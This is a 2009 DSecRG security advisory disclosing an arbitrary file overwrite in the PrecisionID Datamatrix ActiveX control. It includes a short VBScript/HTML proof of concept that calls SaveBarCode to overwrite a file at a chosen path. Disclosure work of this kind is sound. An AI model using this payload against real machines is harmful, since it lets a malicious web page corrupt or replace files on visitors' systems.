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[DSECRG-09-030] PrecisionID Datamatrix ActiveX control - Arbitrary File overwriting

PrecisionID has activeX control DMATRIXLib.Datamatrix that can be used to overwrite any file in the target system.

Application: PrecisionID activeX controls
Vendor URL: http://PrecisionID.com
Bugs: File overwriting
Exploits: YES
Reported: 03.03.2009
Vendor response: NONE
Secondly Reported: 17.03.2009
Vendor response: NONE
Date of Public Advisory: 31.03.2009
Authors: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Details
*******

This control contains two methods SaveBarCode() SaveEnhWMF() that can be used to overwrite
any file on OS


Sub SaveBarCode (
ByVal path As String
)


Sub SaveEnhWMF (
ByVal path As String
)


Example:

<html>
<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='target' />
<script language='vbscript'>

targetFile = "C:\WINDOWS\system32\PRECIS~2.DLL"
prototype = "Sub SaveBarCode ( ByVal path As String )"
memberName = "SaveBarCode"
progid = "DMATRIXLib.Datamatrix"
argCount = 1

arg1="C:\sh2kerr.pwn"

target.SaveBarCode arg1

</script>
</html>


Solution
********

Safe For Scripting
http://msdn.microsoft.com/en-us/library/aa751977.aspx


About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact: research [at] dsecrg [dot] com
http://www.dsecrg.com
http://www.dsec.ru






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